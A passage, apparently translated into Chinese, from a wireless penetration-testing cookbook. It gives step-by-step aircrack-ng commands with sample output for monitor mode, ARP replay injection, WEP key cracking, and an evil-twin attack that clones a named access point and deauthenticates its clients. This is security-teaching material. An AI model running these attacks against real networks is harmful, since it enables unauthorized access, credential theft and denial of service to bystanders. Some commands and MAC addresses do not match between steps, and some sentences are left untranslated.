您可能想养成将嗅探活动保存为 PCAP 文件的习惯。这些文件受许多不同的嗅探工具(以及其他应用程序)支持,以支持保存捕获的网络活动以供以后或进一步分析。由于网络条件可能会变化(有时会发生剧烈变化),您正在观察的情况可能是独特的,您可能希望保存文件以供以后参考和审查。

  1. 启动 Wireshark。

  2. 从以下屏幕中选择您希望进行嗅探的接口。

选择嗅探接口屏幕

  1. 或者,您可以使用捕获接口并选中与您的无线适配器匹配的接口。

  2. 在这里按下开始按钮,Wireshark 将开始捕获流量。开始按钮看起来像鲨鱼鳍。

在这一点上,你应该开始观察在主 Wireshark 窗口中捕获的流量。在这里我们正在观察的级别上,嗅探无线流量和有线流量实际上没有区别。然而,有一些事情你可以做,以进一步嗅探无线,我们将在接下来进行探讨。

使用监视模式和数据包注入

我们要介绍到嗅探过程中的下一个项目是一种称为监视模式的模式。监视模式是一种特殊类型的操作,专门限制在无线适配器上。这种模式用于允许无线适配器查看它当前没有关联的无线网络上的流量。这种模式允许我们使用嗅探器在区域内捕获任何无线网络的流量而不受限制。

大多数现代无线适配器都支持监视模式,但并非普遍支持。在 Linux 上,大多数无线适配器可以通过一些命令行配置切换到监视模式。这与您在 Microsoft Windows 平台上可能遇到的情况不同,那里监视模式通常只能通过使用 AirPcap 等外部适配器来使用。

此外,重要的是要确保不要混淆监视模式和混杂模式,因为它们并不相同。混杂模式在有线和无线网络上都可用,允许查看流经嗅探机器的所有流量,无论是否涉及它们。监视模式专用于无线,允许查看您当前没有关联的无线网络上的流量。它们非常相似,但并不相同。

准备工作

要开始,您需要准备好以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux 安装了 Wireshark

如何做...

在这个教程中,我们将把一个网络卡切换到监视模式,以便观察来自非关联接入点的流量。

为了将网络适配器切换到监视模式,我们可以使用ifconfig来识别无线适配器(如果您还不知道它的名称)。如果您知道名称,然后执行以下步骤。

  1. 打开一个终端窗口。

  2. 输入以下命令:

 ifconfig <adapter name> down
  1. Enter键,这将使网络适配器脱机。

  2. 输入以下命令:

 iwconfig <adapter name> mode monitor
  1. Enter键,将网卡切换到监视模式。

  2. 输入以下命令:

 ifconfig <adapter name> up
  1. Enter键,将网络适配器重新联机。

  2. 这些命令将把无线网卡置于监视模式。

  3. 为了利用网卡处于监视模式,我们可以发出以下命令:

 airodump-ng <adapter name> 

将网卡置于监视模式非常重要,因为它允许我们进行后续步骤并成功执行它们。在正常情况下,无线适配器必须与无线接入点关联才能像有线网络上的嗅探器一样查看和观察流量。要执行与接入点不关联的攻击,我们将使用监视模式。监视模式将允许我们查看与无线网络或接入点相关的流量,而实际上并不与它关联。事实上,在本书中我们将多次使用监视模式来执行任务,比如在 web 和 WPA 中恢复密钥,以及其他任务。

启用监视模式的确切过程将因使用的无线网卡和相关驱动程序的不同而有所不同。为了确定您当前使用的驱动程序,您可以简单地运行以下命令。

airmon-ng 

在安装了 Ralink、Atheros 和 Broadcom 无线网卡的机器上,系统的响应如下:

我们将逻辑上使用的下一个工具是一个名为airodump-ng的工具;这个工具使我们能够根据需要捕获数据包。事实上,这个工具非常重要,我们以后在对无线网络执行密码和密钥破解时将使用它。

我们通过输入airodump-ng命令和重命名的监视接口(mon0)来激活这个工具,如下所示:

airodump-ng mon0 

airodump-ng命令显示了范围内所有接入点的 BSSID(MAC 地址)、它们的功率、信标帧的数量、数据包的数量、信道、速度、加密方法、使用的密码类型、使用的认证方法和 ESSID。

执行数据重放

现在让我们通过执行一个称为重放或数据重放的后续攻击来提高攻击强度。顾名思义,从网络中捕获的信息被存储,然后播放回被定向的网络设备。然而,如果收集到了正确的信息并且在防御方面几乎没有采取保护措施,这种攻击可能会更加危险。

在受害者登录过程中捕获的登录凭据等信息可以简单地在服务器或其他资源上重放并获得访问权限。在使用未加密协议的环境中,这将非常有效。

在这个教程中,我们将使用地址解析协议ARP)执行重放攻击,但这种攻击可以修改以执行其他协议和操作。然而,在我们深入讨论之前,让我们先谈一谈 ARP 和我们正在做的事情。

ARP 在网络上用于多种目的,但最常见的用途与在网络上定位系统有关。该协议在开放系统互连OSI)模型的第 2 层和第 3 层上运行。在实践中,第 2 层是交换机所在和功能的级别,也是 MAC 地址定义的地方。MAC 地址是一种 ID,通常由制造商分配,并且可以通过软件设置(特别是ifconfig实用程序)进行更改。

在子网上,IP 地址不是用于识别希望通信的机器的主要机制;这是 MAC 地址的功能。

如果我们考虑单个子网,并且考虑在该子网上尝试通信的两个主机,那么现在将使用 MAC 地址而不是 IP 地址。只有在需要在不同的子网或网络之间路由流量的情况下才会使用 IP 地址。在本地子网上,MAC 是将流量从一点传输到另一点的主要机制。

在正常操作下,系统将保留 ARP 查找表或缓存,其中存储有关哪些 IP 地址与哪些 MAC 地址相关联的信息。当尝试发送数据(例如数据包)到子网上的另一个主机时,发送方将查看其目的 IP 地址,一旦发现其位于相同的子网上,就会发送 ARP 广播。此广播将在子网上发送出去,并且实质上将询问该子网上的其他客户端谁拥有特定的 IP 地址,并要求该主机返回其 MAC 地址。

值得注意的是,如果主机先前已经在同一子网上与另一个主机通信过,那么 IP 地址和 MAC 地址的关联将已经存储在本地系统的缓存中,这也称为 ARP 表。

准备就绪

要开始,您需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的物品是基本要求,如果需要,您可以轻松使用更多(或不同)组件。例如,如果您想要增强范围,可以使用具有连接到外部天线的 USB 无线网卡,以获得更好的接收。您还可以使用不同的无线应用程序来完成此任务,但是由于 Kismet 非常受欢迎,因此我们将在本文中使用它。

在本文中,我们将使用aircrack-ng套件中的一组工具,该套件本身包括我们将在其他章节中遇到的许多不同的工具。我们将使用的工具包括:

  • airodump-ng:这用于嗅探网络上流动的流量。

  • aireplay-ng:用于生成流量以破解共享密钥或引起去认证情况,稍后我们将看到。有一些选项可以引起去认证,以捕获 WPA 握手数据,伪造认证,交互式数据包重放,手工 ARP 请求注入和 ARP 请求重注入。

操作步骤...

首先,打开一个控制台使用airodump-ng开始嗅探流量。aireplay-ngairodump-ng将同时运行,但在不同的控制台中。

要启动airodump,请使用以下命令:

airodump-ng <wireless interface name)

Enter,可能需要一些时间,但等待目标网络出现在列表中;以下是示例:

请注意第一列中显示的 MAC 地址。

一旦您的目标出现,您可以开始aireplay。在第二个控制台中,输入以下内容:

aireplay-ng --arpreplay -b <target BSSID> -h <MAC address of connected client> <interface name> 

-b指定目标 BSSID,-h指定连接的客户端的 MAC。

  1. 现在您必须等待 ARP 数据包到达。通常您需要等待几分钟。一旦成功,您将看到类似以下内容:
 Saving ARP requests in replay_arp-1001.cap 
  1. 您还必须启动airodump来捕获回复:
 Read 2493 packets (got 1 ARP requests), sent 1305 packets...
  1. 下一步是重用保存在文件中的捕获的 ARP 数据包。您会注意到它说 ARP 请求被保存在replay_arp-1001.cap中。因此,我们不必等待新的 ARP,只需使用-r参数重用旧的 ARP:
 aireplay-ng -2 -r replay_arp-1001.cap ath0                        
  1. 系统的响应是:
 Size: 86, FromDS: 0, ToDS: 1 (WEP) 

           BSSID  =  00:14:6C:7E:40:80 
       Dest. MAC  =  FF:FF:FF:FF:FF:FF 
      Source MAC  =  00:0F:B5:88:AC:82 

      0x0000:  0841 0000 0014 6c7e 4080 000f b588 ac82  .A....l~@....... 
      0x0010:  ffff ffff ffff 7092 e627 0000 7238 937c  ......p..'..r8.| 
      0x0020:  8011 36c6 2b2c a79b 08f8 0c7e f436 14f7  ..6.+,.....~.6.. 
      0x0030:  8078 a08e 207c 17c6 43e3 fe8f 1a46 4981  .x.. |..C....FI. 
      0x0040:  947c 1930 742a c85f 2699 dabe 1368 df39  .|.0t*._&....h.9 
      0x0050:  ca97 0d9e 4731                           ....G1 

      Use this packet ? y 
      You say "y" and then your system will start injecting: 

      Saving chosen packet in replay_src-0219-123117.cap 
      You should also start airodump-ng to capture replies. 

      Sent 3181 packets... 

破解 WEP

无线网络与其他网络的一个独特特点当然是它们不使用传统媒体,而是使用无线电波将信息从一个点传输到另一个点。这就是使得这些网络如此吸引人和受欢迎的原因,一个人可以在无线网络的范围内随时随地携带设备,并且无需担心电缆等,仍然可以保持访问。然而,这种优势是有代价的,即无线电信号是不加区分的,任何能够接收它们的人也能够处理它们携带的信息。

幸运的是,无线网络的设计者将这视为一个问题,并决定在 IEEE 802.11b 网络设计的初始规范中构建有线等效隐私WEP)的保护措施。在发布时,WEP 被视为一个很好的功能,但不久之后问题就出现了,随后不断恶化。

WEP 是可用加密协议中最古老且可能是最薄弱的。WEP 标准最初被引入作为无线安全的初始解决方案,但很快就发现存在缺陷和高度脆弱。

WPA,或 Wi-Fi 保护访问,是 WEP 的继任者,旨在解决困扰 WEP 的许多问题。在许多方面它取得了成功,并成为了一个更加严格的安全协议。WPA 使用 TKIP、MIC 和 AES 加密作为其保护信息的主要机制。

WPA2 是 WPA 的升级或继任者,旨在解决和取代 WPA 的问题。WPA2 更加强大,使用更严格的 AES 和 CCMP 加密。该标准还有一个版本,使用更强大的系统,如 EAP、TKIP 和 AES(带有更长的密钥)。

然而,在讨论问题之前,让我们看看 WEP 应该如何工作,然后再看看如何利用它的问题。

WEP 是无线加密协议中最古老的,最初引入并集成到 802.11b 标准中时,它被视为一种提供数据传输安全性的方式,与有线网络的安全性差不多。按设计,WEP 协议利用了一些现有技术,包括 RC4 加密协议。

设计和推出时,它的目的是实现以下目标:

  • 防止窃听通信并尝试减少未经授权的数据披露

  • 检查数据在网络中传输时的完整性

  • 使用共享的秘密密钥对数据包进行加密,然后再传输

  • 在轻量、高效的系统中提供机密性、访问控制和完整性

它的问题源于以下情况:

  • 该协议设计时没有经验丰富的密码学家、学术界或公众的审查。

  • 它没有明确定义的密钥分发方法(如集中式密钥管理),除了预共享密钥,必须手动输入到每个站点。因此,密钥在大规模上很难更改;因此,很少更改。

  • 它的设计使得可以通过嗅探工具和操作系统中免费提供的破解工具 passively uncover the key。

  • 不同供应商使用的密钥生成器设计不一致且设计不良,导致存在 40 位密钥使用问题等漏洞。

  • 用于执行密钥调度的算法已被证明容易受到攻击。

  • 完整性检查中使用的 CRC32 存在缺陷,稍加修改即可使攻击者一致地修改数据包以产生他们期望的结果。

  • 初始化向量IVs)只有 24 位长度,这意味着一个轻度活跃的网络可以在五个小时或更短的时间内耗尽整个 IV 池。

  • 它容易受到已知明文攻击,通过分析数据包。

  • 可以通过分析数据包来发现密钥,从而创建解密表。

  • 它容易受到拒绝服务攻击,通过使用未经 WEP 认证的关联和取消关联消息。

准备就绪

要开始,您需要准备好以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果需要,您可以轻松地使用更多(或不同的)组件。例如,如果您想要增强范围,您可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收效果。

如何做...

为了破解运行该协议的接入点的 WEP 密钥,需要进行一个过程,其中需要收集所谓的初始化向量IVs)。这个过程的问题在于,在正常情况下,网络在短时间内不会生成大量这些项目。在正常情况下,这意味着我们需要等待很长一段时间才能获得足够的 IVs 来检索网络密钥。然而,我们可以利用我们之前的配方的信息以及一些新的技能来加快这个过程,以检索密钥。简而言之,我们将向网络注入数据包,以便让 AP 在更短的时间内生成大量数据包,这意味着捕获具有弱 IVs 的数据包的能力增加了。

完成这个过程后,我们可以使用捕获的流量来检索密钥。

简而言之,在这个配方中,我们将要看到的步骤如下:

  1. 在特定的 AP 频道上启动无线接口的监视模式。

  2. 测试无线设备对 AP 的注入能力。

  3. 使用aireplay-ng与接入点进行伪身份验证。

  4. 在一个带有bssid过滤器的 AP 频道上启动airodump-ng以收集新的唯一 IVs。

  5. 启动aireplay-ng以 ARP 请求重播模式注入数据包。

  6. 运行aircrack-ng来使用收集的 IVs 破解密钥。

第一阶段-配置监视器模式

我们破解 WEP 的第一步是将我们的卡切换到监视模式,就像我们之前做的那样。我们需要这样做,以便让网络接口检测到附近网络发送的每个数据包。要在名为wlan0的网络接口上执行此操作:

  1. airodump-ng启动wlan0 99将锁定卡以监听通道9,但这可以更改为您希望观察的接入点的通道。您可以通过运行不带通道指示器的命令来发现您希望目标的接入点的通道)。

  2. Enter

 The system will respond: 

     Interface       Chipset         Driver 

     Wlan0           Atheros         madwifi-ng 
     ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode 
     enabled) 

您会注意到上面报告ath0已被设置为监视模式。要确认接口已正确设置,请输入iwconfig

系统会回应:

 lo        no wireless extensions. 

 Wlan0     no wireless extensions. 

 eth0      no wireless extensions. 

 ath0      IEEE 802.11g  ESSID:""  Nickname:"" 
        Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82    
        Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3   
        Retry:off   RTS thr:off   Fragment thr:off 
        Encryption key:off 
        Power Management:off 
        Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm 
        Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0 
        Tx excessive retries:0  Invalid misc:0   Missed beacon:0 

在上面的响应中,您可以看到ath0处于2.452 GHz频率的监视模式,这是通道 9,接入点显示了您无线网卡的 MAC 地址。在继续之前确认适配器的配置是很重要的,以避免以后出现问题。不正确的配置可能导致破解过程无法正常工作或根本无法工作。

第二阶段-数据包注入

为了确保我们能够正确地攻击网络,我们需要确保我们足够靠近以执行数据包注入。为了验证这一点,我们将运行以下命令:

aireplay-ng -9 -e ganon -a 00:28:6C:E4:40:80 wlan0
  • -e ganon:这是无线网络名称

  • -a 00:28:6C:E4:40:80:这是接入点的 MAC 地址

系统应该会回应:

 09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9 
 09:23:35  Trying broadcast probe requests... 
 09:23:35  Injection is working! 
 09:23:37  Found 1 AP  

 09:23:37  Trying directed probe requests... 
 09:23:37  00:28:6C:E4:40:80  - channel: 9 - 'ganon' 
 09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73 
 09:23:39  30/30: 100% 

最后一行很重要,因为我们正在寻找一个接近100%的值;如果这个值很低,这表明你离接入点太远或者信号不好。如果是这种情况,请尝试改变位置。

第三阶段 - 捕获 IVs

现在我们已经走到这一步,我们需要让它开始捕获这些有价值的 IVs。我们通过使用airodump来帮助我们捕获这些宝贵的信息。

打开第二个控制台会话,并保持之前的会话打开以捕获生成的 IVs。然后,输入:

airodump-ng -c 9 --bssid 00:28:6C:E4:40:80 -w output wlan0 
--bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic. 
-w capture is file name prefix for the file which will contain the IVs. 

当注入正在进行时,屏幕会看起来类似于这样:

 CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25  

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID 

 00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy                            

 BSSID              STATION            PWR  Lost  Packets  Probes                                              

 00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782 

第四阶段 - 执行伪身份验证

我们使这个过程工作的下一步是与接入点进行身份验证。这很重要,因为如果我们在没有关联并且接入点存在的情况下执行数据包注入,该过程将失败并且连接将被拒绝。事实上,如果被注入的源 MAC 地址没有关联,目标 API 将忽略数据包并发送一个明文的去认证数据包来拒绝连接尝试。当这种情况发生时,因为 AP 正在忽略所有被注入的数据包,不会创建新的 IVs。

你用于注入的 MAC 必须通过伪身份验证或使用已关联客户端的 MAC 与 AP 关联。

为了将客户端与接入点关联,我们将使用伪身份验证:

aireplay-ng -1 0 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0
  • -1表示伪身份验证

  • 0重新关联时间(秒)

  • -e ganon 是无线网络名称

  • -a 00:14:6C:7E:40:80是接入点 MAC 地址

  • -h 00:0F:B5:88:AC:82是我们的卡 MAC 地址

成功看起来像:

18:18:20  Sending Authentication Request 
18:18:20  Authentication successful 
18:18:20  Sending Association Request 
18:18:20  Association successful :-) 

或者对于挑剔的接入点的另一个变化:

aireplay-ng -1 6000 -o 1 -q 10 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0
  • 6000:每6000秒重新认证一次。长时间间隔也会导致保持活动数据包被发送。

  • -o 1:一次只发送一组数据包。默认是多个,这会让一些 APs 感到困惑。

  • -q 10:每10秒发送一次活动数据包。

成功看起来像:

18:22:32  Sending Authentication Request 
18:22:32  Authentication successful 
18:22:32  Sending Association Request 
18:22:32  Association successful :-) 
18:22:42  Sending keep-alive packet 
18:22:52  Sending keep-alive packet 
# and so on. 

然而,如果身份验证失败,将会得到以下结果:

18:28:02  Sending Authentication Request 
18:28:02  Authentication successful 
18:28:02  Sending Association Request 
18:28:02  Association successful :-) 
18:28:02  Got a deauthentication packet! 
18:28:05  Sending Authentication Request 
18:28:05  Authentication successful 
18:28:05  Sending Association Request 
18:28:10  Sending Authentication Request 
18:28:10  Authentication successful 
18:28:10  Sending Association Request 

请注意,在这个例子中,出现了一个收到去认证数据包的消息,然后是一系列的重试。如果发生这种情况,这意味着你无法成功继续,你必须再试一次,看看是否能够成功关联。

第五阶段 - ARP 重放模式

回顾之前的方法,我们将使用aireplay-ng来监听 ARP 请求,然后使用这些捕获的信息重新注入到网络中。在这种情况下,我们主要使用 ARP 请求数据包,主要是因为 AP 将重新广播它们,从而生成一个新的 IV。由于这是我们的主要目标,即在短时间内获得大量 IVs,我们正在进行这个操作。

要执行注入,我们需要打开另一个控制台并输入:

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0

这将开始监听 ARP 请求,当它听到一个时,aireplay-ng将立即开始注入它。

如果进程成功完成,期望看到类似以下的输出:

 Saving ARP requests in replay_arp-2017.cap 
 You should also start airodump-ng to capture replies. 
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets... 

你可以通过检查你的airodump-ng屏幕来确认你正在进行注入。数据包应该迅速增加。#/s应该是一个不错的数字。然而,不错取决于许多因素。典型的范围是每秒300400个数据包。它可以低至每秒 100 个,高至每秒 500 个。

第六阶段 - 获取 WEP 密钥

现在我们已经将流量捕获到一个.cap文件中,我们现在将尝试从捕获的数据包中检索密钥。为此,我们需要执行以下操作:

打开另一个新的控制台会话并输入:

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

-b 00:14:6C:7E:40:80 选择我们感兴趣的一个接入点。

.cap选择所有以 output 开头并以.cap结尾的文件。

  1. 您可以在生成数据包的同时运行此操作。在短时间内,WEP 密钥将被计算并呈现出来。对于 64 位密钥,您大约需要 250,000 个 IVs,对于 128 位密钥,您需要 1,500,000 个 IVs。请注意,这些值只是粗略指南,其他变量可能会影响您实际需要收集多少流量和 IVs。

  2. 如果过程成功完成,您应该会看到类似以下内容的东西:

 Aircrack-ng 0.9 

                              [00:03:06] Tested 674449 keys (got 96610 IVs) 

 KB    depth   byte(vote) 
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)  
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)  
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)  
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)  

                       KEY FOUND! [ 12:34:56:78:90 ]  
      Probability: 100% 

请注意,密钥的显示方式并非您所期望的那样。方括号中的字符是十六进制的通行密钥。如果您删除冒号,然后在提示要与网络关联时将剩余字符粘贴到无线客户端中,它仍然可以工作。

第四章:攻击机密性

在本章中,我们将涵盖以下内容:

  • 创建一个恶意的双胞胎

  • 无线中间人攻击

  • 破解 WEP

介绍

正如我们在上一章中所学到的,数据的完整性是安全的一个重要组成部分,但它只是 CIA 三要素中的一部分。这个三要素的另一个方面是保密性,它涉及到保护信息免受未经授权的披露。这一方面单独就可能成为一个组织的成败关键,因为失去信息的控制,并且这些信息出现在网站、报纸或其他媒体上,可能会带来许多负面后果,包括诉讼。

一个很好的例子是,一个受损的无线网络如何导致对一家公司的严重后果,就像零售商 TJ Maxx 一样。

在 21 世纪初,TJ Maxx 留下了一个无线网络没有保护,后来发现并被网络犯罪分子利用,收集了敏感客户信息,包括信用卡、姓名和地址。

尽管最终发现并阻止了这次攻击,犯罪分子也被绳之以法,TJ Maxx 仍然需要解决技术保护方面的问题。TJ Maxx 因疏忽导致客户信息被盗而成为一场大规模集体诉讼的对象。最终,由于这起诉讼造成的赔偿金额使得零售商损失了数百万美元。

在当今世界,数据的保密性对于一个组织来说非常重要,因此不容忽视。事实上,困扰商业环境中无线网络的一个问题是,它们被认为是不安全的,并且很有可能将数据暴露给未经授权的人。正因为这个原因,许多企业很长一段时间内都不考虑实施无线网络,而且在许多情况下,这些公司禁止在企业场所使用无线设备。这意味着无线接入点可以在企业中设置。企业也会避免购买任何具有无线功能的设备,以避免由于有人连接到企业拥有并包含商业敏感数据的设备上的伪造或不安全的接入点而可能引起的任何问题。这是许多年前的事情了,世界已经改变;许多企业已经将无线网络作为其整体业务战略的一部分。尽管对这些无线网络的保密性和安全性仍然存在一定程度的担忧,但它们已经被广泛采用,并且可以在许多以前不存在的企业中看到。

导致对无线网络保密性的担忧的原因是,除非使用专门的天线或设备,否则它们会向所有方向发射信号。随着设计更好地聚焦信号的专用天线的引入,保护技术和其他技术已经在多年内得到发展,使得无线网络得到了更广泛的接受。

技术已经被证明可以有效保护无线网络的保密性;让我们来看看一些可以用来保护无线网络免受未经授权的侵入和数据泄露的技术:

  • 加密:加密可能是可以用来提高无线网络或任何网络安全性的最简单和最广泛使用的技术之一。我们在这里讨论的无线网络中的加密类型将被设计用于保护传输中的数据,换句话说,即从 A 点到 B 点移动的数据。这对于无线网络来说至关重要,因为将数据从 A 点传输到 B 点的过程涉及通过空中传输信息;因此,任何可以拦截无线电波的人都有可能窃听传输并查看未加密的数据。

  • 密码学:无线网络有许多形式,并使用许多不同的算法,如 AES 或 3DES,来保护数据的机密性,同时提供其他机制来确保数据在传输过程中不被修改。

  • 天线:这是可以用来保护无线网络和无线信号的更有趣的领域之一——使用专门的天线来聚焦和控制信号及其传输,使其不会不加区别地发送信息。专门的天线可以用来将信号聚焦到特定区域,甚至控制信号的传播范围或距离;因此,在这两种情况下限制谁能监听传输。需要注意的是,大多数无线接入点配备的天线被认为是全向天线,这意味着它们被设计为在所有方向均匀地发送信号,以便最大限度地覆盖其区域。虽然这对于消费者或家庭环境来说是可以接受的,因为需要或希望获得最大的覆盖面积,但如果您处于多租户环境或希望将信号聚焦到只有需要的人才能访问的区域,您可能希望进行控制。

  • 预共享密钥PSK):这种机制用于在多个工作站之间共享一个密钥和访问点,目的是使用该密钥对数据进行编码和保护,并防止未经授权的各方修改或披露数据。这些预共享密钥系统非常适用于规模较小的环境,甚至是家庭环境,其中需要保护少量系统。这主要是因为密钥必须手动输入到各个系统中,而其他系统可以进行集中管理。如果必须在每个客户端系统以及访问点上手动输入密钥,随着网络规模的增长,事情可能会变得相当乏味和繁琐。

  • 企业认证:这种类型的系统与基于 PSK 的环境工作方式相同,只是密钥管理是通过诸如 RADIUS 之类的系统进行集中管理的。这些企业系统的好处是它们几乎可以随着企业或部署规模的增长而成倍增长,这意味着密钥管理和安全性仍然可以进行集中管理。企业认证系统确实有一个缺点,那就是它们需要更多的基础设施和时间来进行正确设置和配置;然而,一旦完成了这一步,它就变得更多是一个维护问题。

这只是可以部署以强制保密的潜在措施的简短清单;然而,在无线环境之外还有许多其他可供选择的措施,可以补充或替代上述清单中提到的内容。

一旦获得了网络访问权限,并且数据的完整性受到质疑,攻击者可能选择修改事物以达到他们所选择的任何目的。

攻击类型

针对无线网络的保密性攻击在熟练和知识丰富的攻击者或入侵者手中非常有效和强大。保护无线网络的机制和设备通常会被错误配置,或者这些网络的所有者可能不知道可用的攻击类型。对于不知道其无线网络或保护机制中的配置问题、缺陷或缺陷的系统所有者来说,它们会被广泛地暴露于可以用来攻击它们的各种攻击之中,并且在某些情况下可能会产生毁灭性的影响。请记住,无线网络可以得到保护,但就像任何事情一样,您必须花时间和精力来确保安全性足够并且按照预期的方式存在。

在我们开始探索每种攻击之前,让我们首先列出本章将涵盖的攻击类型:

  • 嗅探

  • 数据重放

  • WEP 数据包注入

  • 检测信标帧

  • 伪造信标帧

记住,这些只是可以用来破坏无线网络保密性的攻击类型中的一部分,它们永远不应被视为唯一的攻击类型。

创建恶意双胞胎

用于攻击保密性的第一种攻击类型被称为恶意双胞胎攻击,或者恶意双胞胎 AP。这种类型的攻击通常不是作为独立攻击使用的,而是与其他攻击一起使用,正如我们将看到的那样。

我们在这里提到的攻击类型最常见的名称往往是恶意双胞胎。然而,不要惊讶地听到诸如流氓接入点、影子接入点、无线蜜罐等许多其他潜在名称。无论你如何称呼它,如果你理解这种攻击中发生的机制,无论它被称为什么名字,你都会没事的。

恶意双胞胎攻击发生在流氓接入点被配置成与合法接入点相同并且放置在附近的情况下。对于外部世界和用户来说,放置更近和/或产生更强信号的恶意双胞胎很可能会成为他们连接的接入点,而不是合法接入点。如果用户选择手动或自动连接到接入点,恶意双胞胎将成为最终用户的接入点和互联网网关。由于恶意方将控制恶意双胞胎,他们将能够拦截通过他们的 AP 传输的任何流量,甚至根据需要修改或重定向它。这意味着攻击者有能力窃取包括密码、用户名和其他数据在内的敏感信息。

实际上,如果稍加思考和计划,并考虑用户连接到无线网络的方式,邪恶的双胞胎攻击可能非常有效。考虑到大多数笔记本电脑、手机或平板电脑等设备的用户通常可以打开无线设备,找到无线网络并连接到它。如果他们进入机场、购物中心,甚至是咖啡店等公共场所,他们通常可以打开无线设备并搜索免费的无线网络。记住这一点,可以很容易地构建一个无线接入点,提供看似免费的互联网访问,并将其保持不安全,以便受害者连接到无线网络并开始浏览互联网或查看电子邮件,从而使自己容易受到攻击。还要考虑这样一个事实,即如果您将无线网络命名为类似于某个公司或组织拥有的东西,用户很可能会连接到它,认为它是一个完全合法和真实的接入点 - 而实际上并非如此。一旦用户连接到这个接入点并开始交换数据,他们可能为保护自己而为时已晚。用户连接到一个不安全或未知的接入点,比如邪恶的双胞胎,可能会无意中被重定向到其他人控制的网站,并且可能包含可部署到他们客户端系统的恶意软件。

准备工作

要开始,您需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

  • 第二个有线或无线适配器连接到互联网

如何做...

要创建一个恶意的双胞胎,我们将按照几个步骤进行,每个步骤都旨在使系统的一部分准备好执行攻击。

第一步 - 使用 airmon-ng 监视模式

我们必须做的第一步是将无线适配器置于混杂模式或监视模式。这与我们在以前的章节中所做的没有什么不同。在这种情况下,我们将假设我们的无线适配器使用名称wlan0,但请仔细检查以确保您系统上的名称相同。

    airmon-ng start wlan0  

就像以前一样,airmon-ng实用程序已经将我们的无线网卡切换到监视模式,并在此过程中将其重命名为类似mon0的东西。完成后,我们将能够查看所有我们需要的流量。以下图片显示了airmon-ng命令的结果:

airmon-ng 将 wlan0 切换到监视模式。

请记住,我们将在本书中多次使用此实用程序,并且在每种情况下步骤几乎相同。当我们使用此实用程序时,经常变化的是连接后的步骤,以及我们与其一起使用的无线接口的名称。特别注意使用此命令的语法,这样您在未来尝试或练习中使用此命令行应用程序时可以更轻松地进行操作。

第二步 - airdump-ng

监视模式已经就位,现在我们将开始使用相同的无线适配器收集流量。要使用airodump-ng执行此操作,我们将键入以下内容:

    airodump-ng mon0

请注意我们使用了监控接口mon0的新名称;您应该使用ifconfig验证名称,以确保您的新接口名称相同。

完成此步骤后,您应该开始看到访问点;由您选择要创建恶意双胞胎的访问点:

就像以前一样,这个实用程序并不是你见过的最后一个 - 实际上,在本书中的几个其他配方中都使用了几乎完全相同的语法。密切关注语法以及如何使用它,以及它的作用,因为这将节省您以后的时间。

第三步 - 创建具有相同 SSID 和 MAC 地址的新 AP

使用相同的 SSID 和 MAC 地址创建一个新的 AP,有效地克隆了一个好的双胞胎和一个坏的双胞胎,我们需要使用airbase-ng实用程序,并假设我们想要克隆前面截图中名为Tarlogic的网络:

    airbase-ng -a 60:A4:4C:69:D2:48 --essid "Tarlogic" -c 1 mon0

如果该过程有效,您应该会看到如下截图所示的结果:

使用 airbase-ng 的结果

请注意,在截图中,我们创建了一个访问点,然后不久后一个客户端与访问点关联。

有可能在设置访问点并开始广播名称后,您可能会有客户端相当快速地连接,但如果没有发生这种情况,请不要灰心。在某些情况下,您可能必须等待一段时间,直到客户端实际连接到您的访问点。这需要多长时间可能因情况而异。如果您设置了一个模仿咖啡店访问点名称的访问点,并且有很多顾客,那么很可能会有人连接到您的访问点,因为它看起来和行为都像咖啡店的访问点。请记住,我不建议您创建一个模仿咖啡店访问点或其他公共访问点的访问点,除非您有明确的许可。仅仅因为您想要设置一个通常是非法的。

第四步- 强制重新连接

如果您想要查看是否可以让客户端连接到访问点的速度比如果您只是等待要快,您可以有效地将他们从当前的访问点(好双胞胎)中踢下来,并让他们重新连接到您的访问点。为了做到这一点,我们将向目标访问点发送一个去认证帧,将所有人都踢下来。一旦他们被踢下来,如果我们已经正确地定位了自己,他们将连接到我们的邪恶双胞胎。我们的下一步是将邻居从他的访问点中踢下来。

我们可以使用aireplay-ngdeauth数据包来实现这一点:

    aireplay-ng --deauth 0 -a 60:A4:4C:69:D2:48

我们用aireplay发送了一个带有Tarlogic访问点地址的deauth帧。以下图片显示了在aireplay中运行-deauth选项的结果:

发送去认证帧

第五步- 增加功率

为了确保我们有最好的机会捕获客户端,我们需要确保我们的信号比我们正在克隆的接入点更好。如果您无法让自己更靠近,您可以随时增加功率以确保您有更强的信号。

